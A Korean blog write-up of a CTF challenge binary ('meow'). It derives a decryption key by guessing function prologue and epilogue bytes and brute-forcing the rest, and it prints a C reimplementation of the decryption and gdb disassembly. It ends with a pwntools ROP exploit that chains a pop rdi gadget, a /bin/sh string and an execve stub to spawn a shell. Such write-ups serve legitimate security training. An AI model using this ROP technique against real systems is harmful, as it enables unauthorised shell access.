키를 받고 그 키로 테이블을 복호화해서 복호화한 값을 call하는 메뉴가 있는 바이너리 이다. 

키로 어떻게 복호화를 하는지 알아보기 위해 복호화 코드를 그대로 옮겨서 중간중간 과정을 printf해서 보았다. 이렇게 보면 4가지 과정이 어떻게 xor되며 흘러가는지 잘 보인다. 다행히도 각 단계마다 복합적으로 얽히는 건 없어서 한번에 쭉쭉 거꾸로 올라가면 된다.


어떻게 키를 찾냐면 추측할 수 있는 부분이 있다. 복호화된 결과값이 함수가 될 가능성이 높은데 함수의 에필로그와 프롤로그를 대입해 보는 것이다.

결과값 첫 4바이트를 push ebp , mov ebp esp로 끝 2바이트를 pop ebp, ret으로 해서 총 6바이트를 추측할 수 있다. 


추측한 값으로 거꾸로 올라가면 다음과 같은 식을 얻는다.

1. 0x55=i2^i5^13

2. 0x48=i3^i2^72

3. 0x89=(-11=245)^i8^i1

4. 0xe5=(-81=175)^i9^i3

5. 0xc9 = i0 i1 186

6. 0xc3 = i1 i3 167


(i가 key)

정리하면 key의 이만큼을 얻을 수 있다.

i0 = i0

i1 = i0 ^ 0x73

i2 = i0 ^ 0x17

i3 = i0 ^ 0x17

i4

i5 = i0 ^ 0xd

i6 = 

i7 = 

i8 = i0 ^ 0xf

i9 = i0 ^ 0x5d 


이걸로 key의 브루트 포싱 값이 확 줄었다. 이제 해시를 비교하면서 브루트 포싱하자


키 =  $W337k!++y


#include

"stdio.h" #include"string.h" char ind[2][200][50],tmp[100]; int main(){ char src[200]={241, 100, 114, 74, 79, 72, 77, 186, 119, 115, 29, 52, 245, 175, 184, 15, 36, 86, 17, 101, 71, 163, 47, 115, 164, 86, 79, 112, 74, 19, 87, 156, 63, 111, 6, 97, 64, 144, 175, 57, 16, 41, 52, 195, 0, 122, 64, 61, 78, 63, 14, 42, 47, 32, 127, 115, 137, 125, 75, 29, 9, 170, 208, 0, 33, 137, 77, 42, 103, 124, 24, 59, 57, 242, 141, 28, 167, 113, 87, 46, 49, 20, 103, 72, 60, 125, 175, 112, 174, 16, 49, 104, 209, 38, 5, 200, 37, 242, 98, 245, 93, 56, 52, 242, 32, 14, 126, 159, 251, 87, 114, 38, 87, 103, 21, 16, 21, 19, 185, 62, 121, 137, 93, 36, 18, 1, 152, 123, 24, 37, 224, 223, 124, 36, 27, 45, 68, 176, 16, 61, 87, 61, 98, 180, 33, 29, 62, 209, 16, 215, 69, 116, 150, 43, 109, 59, 237, 16, 0, 103, 49, 223, 108, 184, 134, 26, 124, 107, 100, 120, 198, 55, 118, 230, 97, 160, 173, 190, 76, 186, 167, 13}; char input[200]={'$','W','3','3','7','k','!','+','+','y','(','>',',','<',')',NULL}; char v14 = 0; int j = 0; char v19_4 = 4,vv[10],v18_5 = 5,vvv[10],v17_3 = 3,vvvv[10]; char v13_10 = 10,vvvvv[10],v12_5 = 5,v2[10],v11_7 = 7,v16 = 0; char v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; int v15=0xb6; int len_b6=0xb6; for(int i=0;i<200;i++){ memset(ind[0][i],0,50); memset(ind[1][i],0,50); } for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v1[%d] = src[%d](%d)",j,v16+j,src[j+v16]); //strcat(ind[0][j],tmp); } for ( j = 0; v11_7 - v17_3 > j; ++j ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v1[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); //strcat(ind[0][j+v17_3],tmp); } for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v1[%d]^=%d(input[%d])\n",j,*(&v4+j),j); //strcat(ind[1][j],tmp); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v1[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v1[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 2; if ( v17_3 == 9 ) v17_3 = 3; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=5; v17_3=5; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; ++j ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(2*j+1 + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+2*j+1),2*j+1); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 -= 1; if ( v17_3 == 0 ) v17_3 = 5; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=10; v17_3=4; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } //printf("%d\n",v15); for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+j),j); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); //printf("v15 : %d\n",v15); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 1; if ( v17_3 == 9 ) v17_3 = 4; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=10; v17_3=4; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } //printf("%d\n",v15); for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+j),j); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); //printf("v15 : %d\n",v15); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 1; if ( v17_3 == 9 ) v17_3 = 4; } FILE *f=fopen("./src_out","wb"); fwrite(src, 1 , sizeof(src) , f ); fclose(f); }

복호화한다음 디버거로 보자

  
0x12000:	push   rbp
   0x12001:	mov    rbp,rsp
   0x12004:	sub    rsp,0x60
   0x12008:	movabs rax,0x20756f7920646944
   0x12012:	mov    QWORD PTR [rbp-0x60],rax
   0x12016:	movabs rax,0x612065736f6f6863
   0x12020:	mov    QWORD PTR [rbp-0x58],rax
   0x12024:	movabs rax,0x3f3f3f3f74616320
   0x1202e:	mov    QWORD PTR [rbp-0x50],rax
   0x12032:	movabs rax,0x7420746168570a3f
   0x1203c:	mov    QWORD PTR [rbp-0x48],rax
   0x12040:	movabs rax,0x6320666f20657079
   0x1204a:	mov    QWORD PTR [rbp-0x40],rax
   0x1204e:	movabs rax,0x646c756f77207461
   0x12058:	mov    QWORD PTR [rbp-0x38],rax
   0x1205c:	movabs rax,0x65727020756f7920
   0x12066:	mov    QWORD PTR [rbp-0x30],rax
   0x1206a:	movabs rax,0x273027203f726566
   0x12074:	mov    QWORD PTR [rbp-0x28],rax
   0x12078:	mov    DWORD PTR [rbp-0x20],0x3e3e3e0a
   0x1207f:	mov    BYTE PTR [rbp-0x1c],0x0
   0x12083:	lea    rax,[rbp-0x60]
   0x12087:	mov    edx,0x44
   0x1208c:	mov    rsi,rax
gdb-peda$ 
   0x1208f:	mov    edi,0x1
   0x12094:	mov    eax,0x1
   0x12099:	syscall 
   0x1209b:	lea    rax,[rbp+0x8]
   0x1209f:	mov    edx,0x18
   0x120a4:	mov    rsi,rax
   0x120a7:	mov    edi,0x0
   0x120ac:	mov    eax,0x0
   0x120b1:	syscall 
   0x120b3:	nop
   0x120b4:	leave  



0x14000:	push   rbp
   0x14001:	mov    rbp,rsp
   0x14004:	sub    rsp,0x10
   0x14008:	mov    QWORD PTR [rbp-0x8],rdi
   0x1400c:	mov    rax,QWORD PTR [rbp-0x8]
   0x14010:	mov    edx,0x0
   0x14015:	mov    esi,0x0
   0x1401a:	mov    rdi,rax
   0x1401d:	mov    eax,0x3b
   0x14022:	syscall 
   0x14024:	nop
   0x14025:	leave  
   0x14026:	ret    


이렇게 생겨먹음 그냥 바로 bof터진다.

rop로 익스를 해보자

디버거로 0x14000을 보면(또다른 복호화 함수) execve이다.


다시보니 가젯을 하나 넣어놨다

0x14036: pop    rdi

0x14037: ret  


/bin/sh도 넣어놨다 ㅋㅋ

0x14029

rdi에 /bin/sh넣고 

execve콜하면 된다.



from pwn import *

p=process('./meow')
f=open('./src_out')
p.sendline('$W337k!++y')
cont=f.read()
print cont
#print disasm(cont)

pay=''
pay+=p64(0x14036)
pay+=p64(0x14029)
pay+=p64(0x14000)
p.sendline('3')
p.sendline(pay)
p.interactive()

'CTF' 카테고리의 다른 글

[codegate17 prequal]postbox  (0) 2017.05.11
[codegate 2017 final]real  (0) 2017.05.09
[codegate17 prequal]Goversing  (0) 2017.05.08
[plaid2017]pykemon  (0) 2017.04.24
[codegate final]owner  (0) 2017.04.19

+ Recent posts